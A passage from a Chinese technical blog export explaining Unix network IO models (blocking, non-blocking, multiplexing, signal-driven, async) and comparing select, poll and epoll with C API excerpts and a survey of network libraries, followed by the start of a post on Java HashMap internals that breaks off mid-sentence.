fd）在形式上是一个非负整数。实际上，它是一个索引值，指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时，内核向进程返回一个文件描述符。在程序设计中，一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于 UNIX、Linux 这样的操作系统。\nLinux 平台万物皆文件\n在 Linux 中，内核将所有的外部设备都当做一个文件来进行操作，而对一个文件的读写操作会调用内核提供的系统命令，返回一个 fd，对一个 socket 的读写也会有相应的描述符，称为 socketfd（socket 描述符），实际上描述符就是一个数字，它指向内核中的一个结构体（文件路径、数据区等一些属性）。如下图所示\n系统为维护文件描述符，建立了三个表\n进程级的文件描述符表 系统级的文件描述符表 文件系统的 i-node 表 实际工作中我们有时会碰到“Too many openfiles”的问题，那很可能就是进程可用的文件描述符过少的原因。然而很多时候，并不是因为进程可用的文件描述符过少，而是因为程序 bug，打开了大量的文件连接（web 连接也会占用文件描述符）而没有释放。程序申请的资源在用完后要及时释放，才是解决“Too many open files”的根本之道。\n用户空间与内核空间、内核态与用户态 用户空间与内核空间，进程上下文与中断上下文【总结】，大概内容如下：\n现在操作系统都是采用虚拟存储器，那么对 32 位操作系统而言，它的寻址空间（虚拟存储空间）为 4G（2 的 32 次方）。操作系统的核心是内核，独立于普通的应用程序，可以访问受保护的内存空间，也有访问底层硬件设备的所有权限。为了保证用户进程不能直接操作内核，保证内核的安全，操作系统将虚拟空间划分为两部分，一部分为内核空间，一部分为用户空间。针对 linux 操作系统而言（以 32 位操作系统为例）\n将最高的 1G 字节（从虚拟地址 0xC0000000 到 0xFFFFFFFF），供内核使用，称为内核空间； 将较低的 3G 字节（从虚拟地址 0x00000000 到 0xBFFFFFFF），供各个进程使用，称为用户空间。 每个进程可以通过系统调用进入内核，因此，Linux 内核由系统内的所有进程共享。于是，从具体进程的角度来看，每个进程可以拥有 4G 字节的虚拟空间。\n当一个任务（进程）执行系统调用而陷入内核代码中执行时，称进程处于内核运行态（内核态）。此时处理器处于特权级最高的（0 级）内核代码中执行。当进程处于内核态时，执行的内核代码会使用当前进程的内核栈，每个进程都有自己的内核栈； 当进程在执行用户自己的代码时，则称其处于用户运行态（用户态）。此时处理器在特权级最低的（3 级）用户代码中运行。当正在执行用户程序而突然被中断程序 中断 时，此时用户程序也可以象征性地称为处于进程的内核态。因为中断处理程序将使用当前进程的内核栈。 IO 模型 根据 UNIX 网络编程对 IO 模型的分类，UNIX 提供了以下 5 种 IO 模型。\n阻塞式 IO(Blocking IO) 最流行的 IO 操作是阻塞式 IO(Blocking IO). 以 UDP 数据报套接字为例，下图是其阻塞 IO 的调用过程：\n上图有个 recvfrom 调用，这是啥？recvfrom 是 C 语言的函数，也就是 linux 内核函数（操作系统也是用编程语言写的嘛），所以可想而知我们上层不管用什么语言写的应用，最终的调用是会执行操作系统内核的函数的。而 recvfrom 函数，大致含义是：从（已连接）套接口上接收数据，并捕获数据发送源的地址。假如套接字上没有消息可以读取，除非套接字已被设置为非阻塞模式，否则接收调用会等待消息的到来。\n如上图中所示的一样，recvfrom 使进程阻塞，它是一个阻塞函数。我们以套接字接口为例来讲解此模型，在进程空间中调用 recvfrom, 其系统调用直到数据包到达且被复制到应用进程的缓冲区中或者发生错误时才返回，在此期间一直会等待，进程在从调用 recvfrom 开始到它返回的整段时间内都是被阻塞的，因此被称为阻塞 IO 模型。如上文所述，阻塞 I/O 下请求无法立即完成则保持阻塞。阻塞 I/O 分为如下两个阶段。\n阶段 1：等待数据就绪。网络 I/O 的情况就是等待远端数据陆续抵达；磁盘 I/O 的情况就是等待磁盘数据从磁盘上读取到内核态内存中。 阶段 2：数据拷贝。出于系统安全，用户态的程序没有权限直接读取内核态内存，因此内核负责把内核态内存中的数据拷贝一份到用户态内存中。 传统的阻塞 I/O，对一个文件描述符操作 (FD) 时，如果操作没有响应就会一直等待，直到内核有反馈。缺点就是单线程一次只能操作一个 FD\n非阻塞式 IO 模型 非阻塞式 IO 模型，如下图所示：\n非阻塞 I/O 请求包含如下三个阶段\n阶段 1：socket 设置为 NONBLOCK（非阻塞）就是告诉内核，当所请求的 I/O 操作无法完成时，不要将线程睡眠，而是返回一个错误码 (EWOULDBLOCK) ，这样请求就不会阻塞。 阶段 2：I/O 操作函数将不断的测试数据是否已经准备好，如果没有准备好，继续测试，直到数据准备好为止。整个 I/O 请求的过程中，虽然用户线程每次发起 I/O 请求后可以立即返回，但是为了等到数据，仍需要不断地轮询、重复请求，消耗了大量的 CPU 的资源。 阶段 3：数据准备好了，从内核拷贝到用户空间。 总结来说，recvfrom 从应用到内核态时，如果该缓冲区没有数据，就会直接返回 EWOULDBLOCK 错误，一般都对非阻塞 IO 模型进行轮询检查这个状态，看看内核是不是有数据到来也就是说非阻塞的 recvform 系统调用调用之后，进程并没有被阻塞，内核马上返回给进程。如果数据还没准备好，此时会返回一个 error。进程在返回之后，可以干点别的事情，然后再发起 recvform 系统调用。重复上面的过程，循环往复的进行 recvform 系统调用，这个过程通常被称之为轮询。轮询检查内核数据，直到数据准备好，再拷贝数据到进程，进行数据处理。需要注意，拷贝数据整个过程，进程仍然是属于阻塞的状态。\n在 Linux 下，可以通过设置 socket 使其变为 non-blocking。非阻塞 IO 过于消耗 CPU 时间，将大部分时间用于轮询。\nIO 多路复用 多路复用实际不是一个技术而是一个理念，在 I/O 多路复用之前就有通讯线路的频分复用和时分复用，大概就是合理的安排每个单位使用资源的时间和位置，看起来所有单位一起在使用原本只能允许少量单位同时使用的资源。\n“\n多路是指网络连接，复用指的是同一个线程\n”\nI/O multiplexing multiplexing 一词其实多用于通信领域，为了充分利用通信线路，希望在一个信道中传输多路信号，要想在一个信道中传输多路信号就需要把这多路信号结合为一路，将多路信号组合成一个信号的设备被称为 multiplexer，显然接收方接收到这一路组合后的信号后要恢复原先的多路信号，这个设备被称为 demultiplexer，如图所示：\nIO 多路复用模型，如下图所示：\n上图中有个 select 函数，我们先来解释下这个函数：\n基本原理： select 函数监视的文件描述符分 3 类，分别是 writefds、readfds、和 exceptfds。调用后 select 函数会阻塞，直到有描述符就绪（有数据 可读、可写、或者有 except），或者超时（timeout 指定等待时间，如果立即返回设为 null 即可），函数返回。当 select 函数返回后，可以通过遍历 fdset，来找到就绪的描述符。\n1// 返回值：做好准备的文件描述符的个数，超时为 0，错误为-1. 2#include \u0026lt;sys/select.h\u0026gt; 3#include \u0026lt;sys/time.h\u0026gt; 4 5#define FD_SETSIZE 1024 6#define NFDBITS (8 * sizeof(unsigned long)) 7#define __FDSET_LONGS (FD_SETSIZE/NFDBITS) 8 9// 数据结构 (bitmap) 10typedef struct { 11 unsigned long fds_bits[__FDSET_LONGS]; 12} fd_set; 13 14// API 15int select( 16 int max_fd, 17 fd_set *readset, 18 fd_set *writeset, 19 fd_set *exceptset, 20 struct timeval *timeout 21) // 返回值就绪描述符的数目 22 23FD_ZERO(int fd, fd_set* fds) // 清空集合 24FD_SET(int fd, fd_set* fds) // 将给定的描述符加入集合 25FD_ISSET(int fd, fd_set* fds) // 判断指定描述符是否在集合中 26FD_CLR(int fd, fd_set* fds) // 将给定的描述符从文件中删除 Select 总共三部分参数\n传入 FD（文件描述符）最大的+1 传入的 FD，分三类 1). 监听读 2). 监听写 3). 监听异常 如果一直没有满足条件的 fd，最多等多久（超时时间） select 用一个FD_SETSIZE位的 BitMap 表示输入参数，FD_SETSIZE默认为 1024。因为没有 1024 位那么长的数，所以用一个数组表示，因为数组元素地址连续，所以实际就是一个 1024 位的数，比如第 1 位为 1，表示这次输入有 fd1（标准输出 fd)。这个地方也限制了select 最多支持 1024 个 fd，并且 fd 的号码不能大于等于 1024。\n一个文件描述集保存在 fd_set 类型当中，fd_set 类型变量的每一位代表了一个描述符。我们也可以认为它只是由一个很多二进制位构成的数组\n在 Linux 中，我们可以使用 select 函数实现 I/O 端口的复用，传递给 select 函数的参数会告诉内核：\n• 我们所关心的文件描述符\n• 对每个描述符，我们所关心的状态。（我们是要想从一个文件描述符中读或者写，还是关注一个描述符中是否出现异常）\n• 我们要等待多长时间。（我们可以等待无限长的时间，等待固定的一段时间，或者根本就不等待）\n从 select 函数返回后，内核告诉我们以下信息：\n• 对我们的要求已经做好准备的描述符的个数\n• 对于三种条件哪些描述符已经做好准备。（读，写，异常）\nselect 函数告诉我们，当有读写事件发生的时候，有多少个事件就绪，但是他不会告诉我们具体是哪些事件就绪，需要我们自己去事件集一个一个遍历判断 有了这些返回信息，我们可以调用合适的 I/O 函数（通常是 read 或 write)，并且这些函数不会再阻塞。\nselect 具有 O(n) 的无差别轮询复杂度，同时处理的流越多，无差别轮询时间就越长。\n基本流程如下图\n调用顺序如下：sys_select() → core_sys_select() → do_select() → fop-\u0026gt;poll()\n如果你对上面那一坨理论不感冒的话，那我们简明的总结一下 使用 select 以后最大的优势是用户可以在一个线程内同时处理多个 socket 的 IO 请求。用户可以注册多个 socket，然后不断地调用 select 读取被激活的 socket，即可达到在同一个线程内同时处理多个 IO 请求的目的。而在同步阻塞模型中，必须通过多线程的方式才能达到这个目的\n再来看个 select 流程伪代码：\n对，就是顾名思义不断去 select 处于可用状态的 socket。你可能会说使用 select 函数进行 IO 请求和同步阻塞模型没有太大的区别，甚至还多了添加监视 socket，以及调用 select 函数的额外操作，效率更差。但是，使用 select 以后最大的优势是用户可以在一个线程内同时处理多个 socket 的 IO 请求。如果你的网络请求量比较大的情况下，这种模式是不是比阻塞式好啊。\n总结一下 IO 多路复用模型：IO multiplexing（多路复用）就是我们说的 select，poll，epoll（关于这三个函数的对比和介绍，后文再讲），有些地方也称这种 IO 方式为 event driven （事件驱动）IO。\nselect/epoll 的好处就在于单个 process 就可以同时处理多个网络连接的 IO。I/O 多路复用技术的最大优势是系统开销小，系统不必创建进程/线程，也不必维护这些进程/线程，从而大大减小了系统的开销。它的基本原理就是 select，poll，epoll 这个 function 会不断的轮询所负责的所有 socket，当某个 socket 有数据到达了，就通知用户进程。\n当用户进程调用了 select，那么整个进程会被 block，而同时，kernel 会“监视”所有 select 负责的 socket，当任何一个 socket 中的数据准备好了，select 就会返回。这个时候用户进程再调用 read 操作，将数据从 kernel 拷贝到用户进程。所以，I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符，而这些文件描述符（套接字描述符）其中的任意一个进入读就绪状态，select() 函数就可以返回。\n上面这个图和 blocking IO 的图其实并没有太大的不同，事实上，还更差一些。因为这里需要使用两个 systemcall (select 和 recvfrom)，而 blockingIO 只调用了一个 system call (recvfrom)。但是，用 select 的优势在于它可以同时处理多个 connection。所以，如果处理的连接数不是很高的话，使用 select/epoll 的 web server 不一定比使用 multi-threading + blocking IO 的 web server 性能更好，可能延迟还更大。select/epoll 的优势并不是对于单个连接能处理得更快，而是在于能处理更多的连接。）\n在 IO multiplexing Model 中，实际中，对于每一个 socket，一般都设置成为 non-blocking，但是，如上图所示，整个用户的 process 其实是一直被 block 的。只不过 process 是被 select 这个函数 block，而不是被 socket IO 给 block。\nselect 本质上是通过设置或者检查存放 fd 标志位的数据结构来进行下一步处理。这样所带来的缺点是：\n单个进程可监视的 fd 数量被限制，即能监听端口的大小有限。一般来说这个数目和系统内存关系很大，具体数目可以 cat/proc/sys/fs/file-max 查看。32 位机默认是 1024 个。64 位机默认是 2048. 对 socket 进行扫描时是线性扫描，即采用轮询的方法，效率较低：当套接字比较多的时候，每次 select() 都要通过遍历 FD_SETSIZE 个 Socket 来完成调度，不管哪个 Socket 是活跃的，都遍历一遍。这会浪费很多 CPU 时间。如果能给套接字注册某个回调函数，当他们活跃时，自动完成相关操作，那就避免了轮询，这正是 epoll 与 kqueue 做的。 需要维护一个用来存放大量 fd 的数据结构，这样会使得用户空间和内核空间在传递该结构时复制开销大。 信号驱动式 I/O 模型 这种模式一般很少用，所以不重点说了，大概说一下，如图所示：\n为了使用该 I/O 模型，需要开启套接字的信号驱动 I/O 功能，并通过 sigaction 系统调用安装一个信号处理函数。sigaction 函数立即返回，我们的进程继续工作，即进程没有被阻塞。当数据报准备好时，内核会为该进程产生一个 SIGIO 信号，这样我们可以在信号处理函数中调用 recvfrom 读取数据报，也可以在主循环中读取数据报。无论如何处理 SIGIO 信号，这种模型的优势在于等待数据报到达期间不被阻塞。\n来看下这种模式的缺点：信号 I/O 在大量 IO 操作时可能会因为信号队列溢出导致没法通知。信号驱动 I/O 尽管对于处理 UDP 套接字来说有用，即这种信号通知意味着到达一个数据报，或者返回一个异步错误。但是，对于 TCP 而言，信号驱动的 I/O 方式近乎无用，因为导致这种通知的条件为数众多，每一个来进行判别会消耗很大资源，与前几种方式相比优势尽失。\n异步 IO 模型 调用 aio_read 函数（当然 AIO 的 API 不止这一个，如下图还有很多），\n告诉内核描述字，缓冲区指针，缓冲区大小，文件偏移以及通知的方式，然后立即返回。当内核将数据拷贝到缓冲区后，再通知应用程序。所以异步 I/O 模式下，阶段 1 和阶段 2 全部由内核完成，完成不需要用户线程的参与。\n异步 IO 模型和信号驱动的 IO 模型的主要区别在于：信号驱动 IO 是由内核通知我们何时可以启动一个 IO 操作，而异步 IO 模型是由内核通知我们 IO 操作何时完成。\n比较 到此我们已经分别介绍完了 5 种 IO 模型，来看一下他们的比较：\n可以看到，前四种 I/O 模型的主要区别在于第一个阶段，它们的第二个阶段是一样的：在数据从内核复制到应用进程的缓冲区期间，进程会被阻塞于 recvfrom 系统调用。而异步 I/O 模型则是整个操作完成内核才通知应用进程。\n下面引用知乎上有一个比较生动的例子可以说明这几种模型之间的关系。\n老张爱喝茶，废话不说，煮开水。\n出场人物：老张，水壶两把（普通水壶，简称水壶；会响的水壶，简称响水壶）。 1 老张把水壶放到火上，立等水开。（同步阻塞）老张觉得自己有点傻 2 老张把水壶放到火上，去客厅看电视，时不时去厨房看看水开没有。（同步非阻塞）老张还是觉得自己有点傻，于是变高端了，买了把会响笛的那种水壶。水开之后，能大声发出嘀~~~~的噪音。 3 老张把响水壶放到火上，立等水开。（异步阻塞）老张觉得这样傻等意义不大 4 老张把响水壶放到火上，去客厅看电视，水壶响之前不再去看它了，响了再去拿壶。（异步非阻塞）老张觉得自己聪明了。\n所谓同步异步，只是对于水壶而言。 普通水壶，同步；响水壶，异步。\n虽然都能干活，但响水壶可以在自己完工之后，提示老张水开了。这是普通水壶所不能及的。\n同步只能让调用者去轮询自己（情况 2 中），造成老张效率的低下。\n所谓阻塞非阻塞，仅仅对于老张而言。\n立等的老张，阻塞；看电视的老张，非阻塞。\n情况 1 和情况 3 中老张就是阻塞的，媳妇喊他都不知道。虽然 3 中响水壶是异步的，可对于立等的老张没有太大的意义。所以一般异步是配合非阻塞使用的，这样才能发挥异步的效用。\n多路复用之 select、poll、epoll 上文中提到的多路复用模型的图中只画了 select，实际上这种模型的实现方式是可以基于不同方法有多个实现的。比如基于 select 或poll或epoll方法，那么它们有什么不同呢？\nselect select 函数监视的 fd 分 3 类，分别是 writefds、readfds、和 exceptfds。调用后 select 函数会阻塞，直到有 fd 就绪（有数据 可读、可写、或者有 except），或者超时（timeout 指定等待时间，如果立即返回设为 null 即可），函数返回。当 select 函数返回后，可以通过遍历 fdset，来找到就绪的 fd。\nselect 目前几乎在所有的平台上支持，其良好跨平台支持也是它的一个优点。select 的一个最大的缺陷就是单个进程对打开的 fd 是有一定限制的，它由 FD_SETSIZE 限制，默认值是 1024，如果修改的话，就需要重新编译内核，不过这会带来网络效率的下降。\npoll poll 本质上和 select 没有区别，它将用户传入的数组拷贝到内核空间，然后查询每个 fd 对应的设备状态，如果设备就绪则在设备等待队列中加入一项并继续遍历，如果遍历完所有 fd 后没有发现就绪设备，则挂起当前进程，直到设备就绪或者主动超时，被唤醒后它又要再次遍历 fd。这个过程经历了多次无谓的遍历。它没有最大连接数的限制，原因是它是基于链表来存储的，但是同样以下几个缺点：\n1 大量的 fd 的数组被整体复制于用户态和内核地址空间之间；\n2 poll 还有一个特点是【水平触发】，如果报告了 fd 后，没有被处理，那么下次 poll 时会再次报告该 fd；\n3 fd 增加时，线性扫描导致性能下降。\nselect 和 poll 另一个缺陷就是随着 fd 数目的增加，可能只有很少一部分 socket 是活跃的，但是 select/poll 每次调用时都会线性扫描全部的集合，导致效率呈现线性的下降。\n水平触发和边缘触发 水平触发 (level-trggered)\n只要文件描述符关联的读内核缓冲区非空，有数据可以读取，就一直发出可读信号进行通知，当文件描述符关联的内核写缓冲区不满，有空间可以写入，就一直发出可写信号进行通知 LT 模式支持阻塞和非阻塞两种方式。epoll 默认的模式是 LT。\n边缘触发 (edge-triggered)\n当文件描述符关联的读内核缓冲区由空转化为非空的时候，则发出可读信号进行通知，当文件描述符关联的内核写缓冲区由满转化为不满的时候，则发出可写信号进行通知。两者的区别在哪里呢？水平触发是只要读缓冲区有数据，就会一直触发可读信号，而边缘触发仅仅在空变为非空的时候通知一次，\nLT(leveltriggered) 是缺省的工作方式，并且同时支持 block 和 no-blocksocket. 在这种做法中，内核告诉你一个文件描述符是否就绪了，然后你可以对这个就绪的 fd 进行 IO 操作。如果你不做任何操作，内核还是会继续通知你的，所以，这种模式编程出错误可能性要小一点。传统的 select/poll 都是这种模型的代表。\nepoll epoll 是在 2.6 内核中提出的，是之前的 select 和 poll 的增强版本。相对于 select 和 poll 来说，epoll 更加灵活，没有描述符限制。epoll 使用一个文件描述符管理多个描述符，将用户关系的文件描述符的事件存放到内核的一个事件表中，这样在用户空间和内核空间的 copy 只需一次。\nepoll 支持水平触发和边缘触发，最大的特点在于边缘触发，它只告诉进程哪些 fd 变为就绪态，并且只会通知一次。还有一个特点是，epoll 使用【事件】的就绪通知方式，通过 epoll_ctl 注册 fd，一旦该 fd 就绪，内核就会采用类似 callback 的回调机制来激活该 fd，epoll_wait 便可以收到通知。\n一幅图总结一下 epoll 的整个工作流程\nepoll 函数接口\n1#include \u0026lt;sys/epoll.h\u0026gt; 2 3// 数据结构 4// 每一个 epoll 对象都有一个独立的 eventpoll 结构体 5// 用于存放通过 epoll_ctl 方法向 epoll 对象中添加进来的事件 6// epoll_wait 检查是否有事件发生时，只需要检查 eventpoll 对象中的 rdlist 双链表中是否有 epitem 元素即可 7struct eventpoll { 8 /*红黑树的根节点，这颗树中存储着所有添加到 epoll 中的需要监控的事件*/ 9 struct rb_root rbr; 10 /*双链表中则存放着将要通过 epoll_wait 返回给用户的满足条件的事件*/ 11 struct list_head rdlist; 12}; 13 14// API 15int epoll_create(int size); // 内核中间加一个 ep 对象，把所有需要监听的 socket 都放到 ep 对象中 16int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event); // epoll_ctl 负责把 socket 增加、删除到内核红黑树 17int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);// epoll_wait 负责检测可读队列，没有可读 socket 则阻塞进程 selecat 有三个问题\nselect 调用需要传入 fd 数组，需要拷贝一份到内核，高并发场景下这样的拷贝消耗的资源是惊人的。（可优化为不复制） select 在内核层仍然是通过遍历的方式检查文件描述符的就绪状态，是个同步过程，只不过无系统调用切换上下文的开销。（内核层可优化为异步事件通知） select 仅仅返回可读文件描述符的个数，具体哪个可读还是要用户自己遍历。（可优化为只返回给用户就绪的文件描述符，无需用户做无效的遍历） 所以 epoll 主要就是针对这三点进行了改进。\n内核中保存一份文件描述符集合，无需用户每次都重新传入，只需告诉内核修改的部分即可。 内核不再通过轮询的方式找到就绪的文件描述符，而是通过异步 IO 事件唤醒。 内核仅会将有 IO 事件的文件描述符返回给用户，用户也无需遍历整个文件描述符集合。 具体，操作系统提供了这三个函数。\n1第一步，创建一个 epoll 句柄 2int epoll_create(int size); 3第二步，向内核添加、修改或删除要监控的文件描述符。 4int epoll_ctl( 5 int epfd, int op, int fd, struct epoll_event *event); 6第三步，类似发起了 select() 调用 7int epoll_wait( 8 int epfd, struct epoll_event *events, int max events, int timeout); 三种模型的区别 到这里我们总结一下 select,poll 和 epoll:\nselect 的几大缺点：\n每次调用 select，都需要把 fd 集合从用户态拷贝到内核态，这个开销在 fd 很多时会很大\n同时每次调用 select 都需要在内核遍历传递进来的所有 fd，这个开销在 fd 很多时也很大\nselect 支持的文件描述符数量太小了，默认是 1024\nepoll 的优点：\n没有最大并发连接的限制，能打开的 FD 的上限远大于 1024（1G 的内存上能监听约 10 万个端口）；\n效率提升，不是轮询的方式，不会随着 FD 数目的增加效率下降。只有活跃可用的 FD 才会调用 callback 函数；即 Epoll 最大的优点就在于它只管你“活跃”的连接，而跟连接总数无关，因此在实际的网络环境中，Epoll 的效率就会远远高于 select 和 poll。\n表面上看 epoll 的性能最好，但是在连接数少并且连接都十分活跃的情况下，select 和 poll 的性能可能比 epoll 好，毕竟 epoll 的通知机制需要很多函数回调。\nselect 低效是因为每次它都需要轮询。但低效也是相对的，视情况而定，也可通过良好的设计改善\nselect，poll 实现需要自己不断轮询所有 fd 集合，直到设备就绪，期间可能要睡眠和唤醒多次交替。而 epoll 其实也需要调用 epoll_wait 不断轮询就绪链表，期间也可能多次睡眠和唤醒交替，但是它是设备就绪时，调用回调函数，把就绪 fd 放入就绪链表中，并唤醒在 epoll_wait 中进入睡眠的进程。虽然都要睡眠和交替，但是 select 和 poll 在“醒着”的时候要遍历整个 fd 集合，而 epoll 在“醒着”的时候只要判断一下就绪链表是否为空就行了，这节省了大量的 CPU 时间。这就是回调机制带来的性能提升。\nselect，poll 每次调用都要把 fd 集合从用户态往内核态拷贝一次，并且要把 current 往设备等待队列中挂一次，而 epoll 只要一次拷贝，而且把 current 往等待队列上挂也只挂一次（在 epoll_wait 的开始，注意这里的等待队列并不是设备等待队列，只是一个 epoll 内部定义的等待队列）。这也能节省不少的开销。\n|\nselect poll epoll 操作方式 遍历 遍历 回调 底层实现 数组 链表 红黑树 IO 效率 每次调用都进行线性遍历，时间复杂度为 O(n) 每次调用都进行线性遍历，时间复杂度为 O(n) 事件通知方式，每当 fd 就绪，系统注册的回调函数就会被调用，将就绪 fd 放到 readyList 里面，时间复杂度 O(1) 最大连接数 1024(x86) 或 2048(x64) 无上限 无上限 fd 拷贝 每次调用 select，都需要把 fd 集合从用户态拷贝到内核态 每次调用 poll，都需要把 fd 集合从用户态拷贝到内核态 调用 epoll_ctl 时拷贝进内核并保存，之后每次 epoll_wait 不拷贝 扩展问题 为什么数据库连接池不采用 IO 多路复用？ https://mp.weixin.qq.com/s/B12jXZTeRDXM_SB_eGelUQ\n库类 开源 C/C++网络库：\nACE C++语言 跨平台 Boost 的 ASIO C++语言 跨平台 libevent C 语言 主要支持 linux，新版增加了对 windows 的 IOCP 的支持 libev C 语言 只支持 linux，只封装了 EPOLL 模型 ACE ACE 是一个大型的中间件产品，代码 20 万行左右，过于宏大，一堆的设计模式，架构了一层又一层，使用的时候，要根据情况，看你从那一层来进行使用。支持跨平台。\nACE 网络库在使用中，一直对其中的内存管理搞得一头雾水，分配的内存需要在哪里释放都不知道，ACE 不愧是一个做研究用的库，可以说里面的封装把设计模式这本书中列出的模式都在代码里面实现了一番，用起来感觉是在用 java 一样，如果你想使用 ACE 作为你的网络库，千万不要仅仅把它当成一个网络库使用，你要把它当成一个框架来使用，如果你只想用它的网络库，那大可不必用 ACE, 因为它太庞大了，学习起来太费劲。但是你把它当成一个框架来用，你会感觉用的还真爽，该有的东西都有，比如线程池，内存池，定时器，递归锁等，都很方便的。Boost 的 ASIO，在内存管理方面要直观的多。\nBoost Boost 的 ASIO 是一个异步 IO 库，封装了对 Socket 的常用操作，简化了基于 socket 程序的开发。支持跨平台。\nlibevent Libevent 是一个用 C 语言编写的、轻量级的开源高性能网络库，主要有以下几个亮点：事件驱动（ event-driven），高性能；轻量级，专注于网络，不如 ACE 那么臃肿庞大；源代码相当精炼、易读；跨平台，支持 Windows、 Linux、 BSD 和 Mac OS；支持多种 I/O 多路复用技术， epoll、 poll、 dev/poll、 select 和 kqueue 等；支持 I/O，定时器和信号等事件；注册事件优先级。\nlibev libev 是一个 C 语言写的，只支持 linux 系统的库，我以前研究的时候只封装了 EPOLL 模型，不知道现在的新版有没有改进。使用方法类似 libevent, 但是非常简洁，代码量是最少的一个库，也就几千行代码。显然这样的代码跨平台肯定是无法支持的了，如果你只需要在 linux 下面运行，那用这个库也是可以的。\n参考 https://journey-c.github.io/io-multiplexing/ https://juejin.cn/post/6882984260672847879#heading-7 https://mp.weixin.qq.com/s/3gC-nUnFGv-eoSBsEdSZuA https://www.cnblogs.com/flashsun/p/14591563.html https://mp.weixin.qq.com/s/LhocgdcpbuibfX1sTyzOqw https://mp.weixin.qq.com/s?__biz=MjM5Njg5NDgwNA==\u0026amp;mid=2247484905\u0026amp;idx=1\u0026amp;sn=a74ed5d7551c4fb80a8abe057405ea5e\u0026amp;chksm=a6e304d291948dc4fd7fe32498daaae715adb5f84ec761c31faf7a6310f4b595f95186647f12\u0026amp;scene=21#wechat_redirect http://www.loujunkai.club/network/selece-poll.html http://note.iawen.com/note/programming/net_libs ","date":"2022-03-18T09:07:31Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-03-18-unix-wang-luo-io-mo-xing/cover.jpg","permalink":"/p/2022-03-18-unix-wang-luo-io-mo-xing/","title":"Unix 网络 IO 模型"},{"content":"特点 KV 结构，K、V 都允许 null 值 线程不安全，运行速度快，存取速度快 非线程安全的 数据结构 jdk1.7 是数组+链表的结构\njdk1.8 是数组+链表+红黑树\n数组长度定义为多少？ HashMap 类中有一个非常重要的字段，就是 Node[] table，即哈希桶数组。上两图中的数组即为 Node 数组。以下为部分源码：\n1static class Node\u0026lt;K,V\u0026gt; implements Map.Entry\u0026lt;K,V\u0026gt; { 2 final int hash; //用来定位数组索引位置 3 final K key; 4 V value; 5 Node\u0026lt;K,V\u0026gt; next; //链表的下一个 node 6 7 Node(int hash, K key, V value, Node\u0026lt;K,V\u0026gt; next) { ... } 8 public final K getKey(){ ... } 9 public final V getValue() { ... } 10 public final String toString() { ... } 11 public final int hashCode() { ... } 12 public final V setValue(V newValue) { ... } 13 public final boolean equals(Object o) { ... } 14} 又根据 resize() 方法源码注释得知，Node 数组是在初始化或扩容时定义\n“\nInitializes or doubles table size. If null, allocates in accord with initial capacity target held in field threshold. Otherwise, because we are using power-of-two expansion, the elements from each bin must either stay at same index, or move with a power of two offset in the new table.\n”\n具体看一下 resize() 方法对应源码：\n可见初始化时默认 Node 数组大小为 DEFAULT_INITIAL_CAPACITY （16）\n1static final int DEFAULT_INITIAL_CAPACITY = 1 \u0026lt;\u0026lt; 4; // aka 16 这个值必须为 2 的幂次方。\n数组何时扩容？ 通过阅读 put 方法源码得知当 ++size \u0026gt; threshold 条件为真为将进行数组扩容。\n1final V putVal(int hash, K key, V value, boolean onlyIfAbsent, 2 boolean evict) { 3 Node\u0026lt;K,V\u0026gt;[] tab; Node\u0026lt;K,V\u0026gt; p; int n, i; 4 if ((tab = table) == null || (n = tab.length) == 0) 5 n = (tab = resize()).length; 6 if ((p = tab[i = (n - 1) \u0026amp; hash]) == null) 7 tab[i] = newNode(hash, key, value, null); 8 else { 9 Node\u0026lt;K,V\u0026gt; e; K k; 10 11 ... 省略 12 } 13 ++modCount; 14 if (++size \u0026gt; threshold) 15 resize(); 16 afterNodeInsertion(evict); 17 return null; 18 } size 是什么？(HashMap 中实际存在的键值对数量）\n“\nThe number of key-value mappings contained in this map.\n”\nthreshold 是什么？（扩容阈值）\n“\nThe next size value at which to resize (capacity * load factor). (The javadoc description is true upon serialization. Additionally, if the table array has not been allocated, this field holds the initial array capacity, or zero signifying DEFAULT_INITIAL_CAPACITY.)\n”\nthreshold = capacity * load factor\ncapacity 容量 默认 16 load factor 装载因子 默认 0.75 如果按照默认值算的话，threshold 为 12，结合前面的知识，根据条件 ++size \u0026gt; threshold 如果 HashMap 初始容量为 16，则当实际存在的键值对到达 12 时，就进行扩容 。\n装载因子为什么是 0.75? 装载因子越大，说明空闲位置越少，冲突越多，散列表的性能会下降。所以如果装载因子是 1，显然不合适。\n那如果是 0.5 呢 ? 如果是 0.5 ， 那么每次达到容量的一半就进行扩容，默认容量是 16， 达到 8 就扩容成 32，达到 16 就扩容成 64， 最终使用空间和未使用空间的差值会逐渐增加，空间利用率低下，也不合适。\n那么应该定成多少，又是为什么 ？\n“\nAs a general rule, the default load factor (.75) offers a good tradeoff between time and space costs. Higher values decrease the space overhead but increase the lookup cost (reflected in most of the operations of the {@code HashMap} class, including {@code get} and {@code put}). The expected number of entries in the map and its load factor should be taken into account when setting its initial capacity, so as to minimize the number of rehash operations. If the initial capacity is greater than the maximum number of entries divided by the load factor, no rehash operations will ever occur.\n”\n根据上面的源码注释，0.75 只是一个在时间和空间上折中的选择 ( tradeoff between time and space costs )\n什么时候链表转红黑树 ？ 为什么要转红黑树？ 在 jdk1.8 之后，HashMap 初始化的时候也是线性表+链表，只是当拉链过长，则会严重影响 HashMap 的性能 。\n链表的长度超过一定数量之后，会把链表转换成红黑树来增加代码运行时的性能。\n在源码中用TREEIFY_THRESHOLD这个参数来指定这个数量。\n1/** 2 * The bin count threshold for using a tree rather than list for a 3 * bin. Bins are converted to trees when adding an element to a 4 * bin with at least this many nodes. The value must be greater 5 * than 2 and should be at least 8 to mesh with assumptions in 6 * tree removal about conversion back to plain bins upon 7 * shrinkage. 8 */ 9 static final int TREEIFY_THRESHOLD = 8; 10 11 /** 12 * The bin count threshold for untreeifying a (split) bin during a 13 * resize operation. Should be less than TREEIFY_THRESHOLD, and at 14 * most 6 to mesh with shrinkage detection under removal. 15 */ 16 static final int UNTREEIFY_THRESHOLD = 6; 可见这个值为 8 ，当链表长度太长（默认超过 8）时，链表就转换为红黑树，利用红黑树快速增删改查的特点提高 HashMap 的性能\n我们注意到上面源码注释中还有一个值 UNTREEIFY_THRESHOLD，它是一个红黑树到链表的还原阈值，当扩容时，桶中元素个数小于这个值，就会把树形的桶元素 